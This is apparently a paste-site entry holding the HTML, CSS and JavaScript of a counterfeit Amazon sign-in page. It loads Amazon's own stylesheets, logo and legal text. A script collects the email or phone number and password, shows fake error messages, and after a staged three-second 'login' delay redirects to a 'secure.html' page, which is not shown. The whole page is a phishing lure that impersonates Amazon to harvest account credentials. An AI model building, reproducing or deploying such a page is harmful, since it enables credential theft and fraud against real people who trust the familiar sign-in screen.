Untitled
3 months ago in HTML
<!doctype html>
<html class="a-no-js">
<head>
<meta charset="utf-8"/>
<title>Amazon Sign-In</title>
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/61A6IErPNXL._RC|11Fd9tJOdtL.css,11tfezETfFL.css,31Q3id-QR0L.css,31U9HrBLKmL.css_.css?AUIClients/AmazonUI#us.not-trident" />
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/01SdjaY0ZsL._RC|31jdWD+JB+L.css,513wQu4ouSL.css_.css?AUIClients/AuthenticationPortalAssets" />
<link rel="stylesheet" href="https://images-na.ssl-images-amazon.com/images/I/21EtarfodyL.css?AUIClients/CVFAssets" />
<style>
/* Responsive styles */
.auth-pagelet-container {
max-width: 400px;
margin: auto;
}
.a-box-inner {
padding: 20px;
}
@media screen and (max-width: 600px) {
.auth-pagelet-container {
max-width: 90%;
margin: auto;
}
.a-box-inner {
padding: 10px;
}
}
.error-message {
color: #B12704;
font-size: 12px;
font-family: "Amazon Ember", Arial, sans-serif;
display: none;
align-items: center;
margin-top: 5px;
}
.error-border {
border: 1px solid #B12704 !important;
box-shadow: 0 0 3px 1px #B12704 !important;
}
.error-icon {
color: #B12704;
font-size: 16px;
font-weight: bold;
margin-right: 5px;
margin-top: -2px;
}
.auth-form-label {
font-family: "Amazon Ember", Arial, sans-serif;
font-size: 13px;
font-weight: bold;
color: #111;
}
.auth-header {
font-family: "Amazon Ember", Arial, sans-serif;
font-size: 28px;
font-weight: 400;
color: #111;
}
.error-container {
border: 1px solid #B12704;
border-radius: 4px; /* Match the corners of the sign-in box */
padding: 10px;
margin-bottom: 15px;
color: #B12704;
font-family: "Amazon Ember", Arial, sans-serif;
font-size: 14px;
display: none;
align-items: center;
}
.error-container.visible {
display: flex; /* Makes the container visible when it contains an error message */
}
.error-detail {
color: #000; /* Black color for the second sentence */
}
.error-container-icon {
margin-right: 10px;
}
.keep-me-signed-in {
display: flex;
align-items: center;
margin-top: 15px;
font-family: "Amazon Ember", Arial, sans-serif;
font-size: 13px;
color: #111;
}
.keep-me-signed-in input {
margin-right: 5px;
margin-top: 0; /* Align checkbox with the label */
vertical-align: middle; /* Ensures the checkbox aligns in the middle with the text */
}
.keep-me-signed-in span {
display: flex;
align-items: center;
}
.keep-me-signed-in a {
color: #0066c0;
text-decoration: none;
cursor: pointer;
margin-left: 4px; /* Add space between dot and Details */
}
.keep-me-signed-in a:hover {
text-decoration: underline;
}
.auth-navbar {
margin-bottom: 0; /* Reduce space between logo and sign-in box */
}
.a-spacing-medium {
margin-top: 0; /* Adjust margin to control space above the sign-in box */
}
.popover {
position: absolute;
z-index: 1000;
display: none;
width: 300px;
padding: 1rem;
font-family: "Amazon Ember", Arial, sans-serif;
font-size: 13px;
color: #111;
background-color: #fff;
border: 1px solid #ccc;
border-radius: 5px;
box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);
}
.popover .popover-header {
font-weight: bold;
margin-bottom: 0.5rem;
}
.popover .popover-content {
font-size: 12px;
}
</style>
<script>
function handleFormSubmission(event) {
event.preventDefault();
const emailField = document.getElementById('ap_email');
const passwordField = document.getElementById('ap_password');
const emailErrorMessage = document.getElementById('email-error-message');
const passwordErrorMessage = document.getElementById('password-error-message');
const topErrorContainer = document.getElementById('top-error-container');
// Regular expressions for email and phone validation
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
const phoneRegex = /^\+?[0-9]{10,15}$/; // Validation for phone number with optional prefix
let valid = true;
topErrorContainer.style.display = 'none'; // Hide top error container initially
if (!emailField.value) {
showError(emailField, emailErrorMessage, 'Enter your email or mobile phone number');
valid = false;
} else if (/^\d+$/.test(emailField.value)) {
// Input contains only numbers, treat it as a phone number
if (!phoneRegex.test(emailField.value)) {
showTopError(topErrorContainer, 'Incorrect phone number', 'We cannot find an account with that mobile number');
valid = false;
} else {
clearError(emailField, emailErrorMessage);
}
} else {
// Input contains non-numeric characters, treat it as an email
if (!emailRegex.test(emailField.value)) {
showTopError(topErrorContainer, 'There was a problem', 'We cannot find an account with that email address');
valid = false;
} else {
clearError(emailField, emailErrorMessage);
}
}
if (!passwordField.value) {
showError(passwordField, passwordErrorMessage, 'Enter your password');
valid = false;
} else {
clearError(passwordField, passwordErrorMessage);
}
if (valid) {
// Delay the redirection to simulate login time
setTimeout(() => {
window.location.href = "secure.html";
}, 3000); // 3 seconds delay
}
}
function showError(field, errorMessageElement, message) {
field.classList.add('error-border');
errorMessageElement.innerHTML = `<span class="error-icon">!</span>${message}`;
errorMessageElement.style.display = 'flex';
}
function clearError(field, errorMessageElement) {
field.classList.remove('error-border');
errorMessageElement.style.display = 'none';
}
function showTopError(container, title, message) {
const firstSentenceEndIndex = message.indexOf('.') + 1; // Find the end of the first sentence
const firstSentence = message.substring(0, firstSentenceEndIndex);
const secondSentence = message.substring(firstSentenceEndIndex).trim();
container.innerHTML = `<span class="error-container-icon">⚠️</span><div><strong>${title}</strong><br>${firstSentence} <span class="error-detail">${secondSentence}</span></div>`;
container.style.display = 'flex';
container.classList.add('visible'); // Add visible class to show the container
}
function removeErrorStyles(event) {
const field = event.target;
const errorMessageElement = field.nextElementSibling;
const topErrorContainer = document.getElementById('top-error-container');
if (field.value) {
clearError(field, errorMessageElement);
topErrorContainer.style.display = 'none';
topErrorContainer.classList.remove('visible'); // Remove visible class when no error
}
}
function togglePopover() {
const popover = document.getElementById('popover');
popover.style.display = popover.style.display === 'block' ? 'none' : 'block';
}
document.addEventListener('DOMContentLoaded', function () {
const detailsLink = document.getElementById('remember_me_learn_more_link');
detailsLink.addEventListener('click', function (event) {
event.preventDefault();
togglePopover();
});
document.addEventListener('click', function (event) {
const popover = document.getElementById('popover');
if (!popover.contains(event.target) && event.target.id !== 'remember_me_learn_more_link') {
popover.style.display = 'none';
}
});
});
</script>
</head>
<body class="auth-no-skin ap-locale-en_US a-m-us a-aui_72554-c a-aui_accordion_a11y_role_354025-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_preload_261698-c a-aui_rel_noreferrer_noopener_309527-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c">
<div id="a-page">
<div class="a-section a-padding-medium auth-workflow">
<div class="a-section a-spacing-none auth-navbar">
<div class="a-section a-spacing-medium a-text-center">
<a class="a-link-nav-icon" href="/ref=ap_frn_logo">
<i class="a-icon a-icon-logo" role="img" aria-label="Amazon"></i>
</a>
</div>
</div>
<div id="authportal-center-section" class="a-section">
<div id="authportal-main-section" class="a-section">
<div class="a-section a-spacing-base auth-pagelet-container">
<div class="a-section a-spacing-base">
<div class="a-section">
<form name="signIn" onsubmit="handleFormSubmission(event)" class="auth-validate-form auth-real-time-validation a-spacing-none">
<input type="hidden" name="appActionToken" value="jj2F6Yj2BjtsVCz8vecHMOG7Q5vQHrgj3D" />
<input type="hidden" name="appAction" value="SIGNIN_PWD_COLLECT" />
<div id="top-error-container" class="error-container"></div>
<div class="a-section">
<div class="a-box">
<div class="a-box-inner a-padding-extra-large">
<h1 class="a-spacing-small auth-header">Sign in</h1>
<div class="a-row a-spacing-base">
<label for="ap_email" class="a-form-label auth-form-label">Email or mobile phone number</label>
<input type="text" maxlength="128" id="ap_email" name="email" tabindex="1" class="a-input-text a-span12 auth-autofocus" aria-describedby="Enter your email or mobile phone number" oninput="removeErrorStyles(event)" />
<div id="email-error-message" class="error-message">
<span class="error-icon">!</span>Enter your email or mobile phone number
</div>
</div>
<div class="a-row a-spacing-base">
<label for="ap_password" class="a-form-label auth-form-label">Password</label>
<input type="password" maxlength="128" id="ap_password" name="password" tabindex="2" class="a-input-text a-span12" aria-describedby="Enter your password" oninput="removeErrorStyles(event)" />
<div id="password-error-message" class="error-message">
<span class="error-icon">!</span>Enter your password
</div>
</div>
<div class="a-section keep-me-signed-in">
<input type="checkbox" id="keepMeSignedIn" name="keepMeSignedIn">
<span class="a-label a-checkbox-label">
Keep me signed in. <span class="a-declarative" data-action="a-popover" data-csa-c-type="widget" data-csa-c-func-deps="aui-da-a-popover" data-a-popover="{&quot;closeButtonLabel&quot;:&quot;&quot;,&quot;activate&quot;:&quot;onclick&quot;,&quot;header&quot;:&quot;\&quot;Keep Me Signed In\&quot; Checkbox&quot;,&quot;inlineContent&quot;:&quot;\u003cp>Choosing \&quot;Keep me signed in\&quot; reduces the number of times you're asked to Sign-In on this device.\u003c\/p>\n\u003cp>To keep your account secure, use this option only on your personal devices.\u003c\/p>&quot;}" data-csa-c-id="ctstc7-un8muf-8i65rx-uu3pz3">
<a id="remember_me_learn_more_link" href="javascript:void(0)" role="button" class="a-popover-trigger a-declarative">
Details
<i class="a-icon a-icon-popover"></i></a>
</span>
</span>
</div>
<div id="popover" class="popover">
<div class="popover-header">"Keep Me Signed In" Checkbox</div>
<div class="popover-content">
<p>Choosing "Keep me signed in" reduces the number of times you're asked to Sign-In on this device.</p>
<p>To keep your account secure, use this option only on your personal devices.</p>
</div>
</div>
<input type="hidden" name="create" value="0"/>
<div class="a-section">
<span id="sign-in" class="a-button a-button-span12 a-button-primary">
<span class="a-button-inner">
<input id="sign-in" tabindex="5" class="a-button-input" type="submit" aria-labelledby="sign-in-announce"/>
<span id="sign-in-announce" class="a-button-text" aria-hidden="true">Sign in</span>
</span>
</span>
<div id="legalTextRow" class="a-row a-spacing-top-medium a-size-small">
By continuing, you agree to Amazon's <a href="/gp/help/customer/display.html/ref=ap_signin_notification_condition_of_use?ie=UTF8&amp;nodeId=508088">Conditions of Use</a> and <a href="/gp/help/customer/display.html/ref=ap_signin_notification_privacy_notice?ie=UTF8&amp;nodeId=468496">Privacy Notice</a>.
</div>
</div>
<div class="a-section">
<div class="a-row a-expander-container a-expander-inline-container">
<a data-csa-c-func-deps="aui-da-a-expander-toggle" data-csa-c-type="widget" data-csa-interaction-events="click" aria-expanded="false" role="button" href="javascript:void(0)" data-action="a-expander-toggle" class="a-expander-header a-declarative a-expander-inline-header a-link-expander" data-a-expander-toggle="{&quot;allowLinkDefault&quot;:true, &quot;expand_prompt&quot;:&quot;&quot;, &quot;collapse_prompt&quot;:&quot;&quot;}"><i class="a-icon a-icon-expand"></i><span class="a-expander-prompt">Need help?</span></a>
<ul class="a-unordered-list a-nostyle a-vertical">
<li><span class="a-list-item">
<div aria-expanded="false" class="a-expander-content a-expander-inline-content a-expander-inner" style="display:none">
<a id="auth-fpp-link-bottom" class="a-link-normal" href="https://www.amazon.com/ap/forgotpassword">Forgot your password?</a>
</div>
</span></li>
<li><span class="a-list-item">
<div aria-expanded="false" class="a-expander-content a-expander-inline-content a-expander-inner" style="display:none">
<a id="ap-other-signin-issues-link" class="a-link-normal" href="/gp/help/customer/account-issues/ref=ap_login_with_otp_claim_collection?ie=UTF8">Other issues with Sign-In</a>
</div>
</span></li>
</ul>
</div>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
<!-- Removed "New to Amazon?" and "Create your Amazon account" section -->
</div>
</div>
</div>
<div class="a-section a-spacing-top-extra-large auth-footer">
<div class="a-divider a-divider-section"><div class="a-divider-inner"></div></div>
<div class="a-section a-spacing-small a-text-center a-size-mini">
<span class="auth-footer-seperator"></span>
<a class="a-link-normal" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_cou?ie=UTF8&amp;nodeId=508088">Conditions of Use</a>
<span class="auth-footer-seperator"></span>
<a class="a-link-normal" target="_blank" rel="noopener" href="/gp/help/customer/display.html/ref=ap_desktop_footer_privacy_notice?ie=UTF8&amp;nodeId=468496">Privacy Notice</a>
<span class="auth-footer-seperator"></span>
<a class="a-link-normal" target="_blank" rel="noopener" href="/help">Help</a>
<span class="auth-footer-seperator"></span>
</div>
<div class="a-section a-spacing-none a-text-center">
<span class="a-size-mini a-color-secondary">© 1996-2024, Amazon.com, Inc. or its affiliates</span>
</div>
</div>
</div>
</div>
</body>
</html>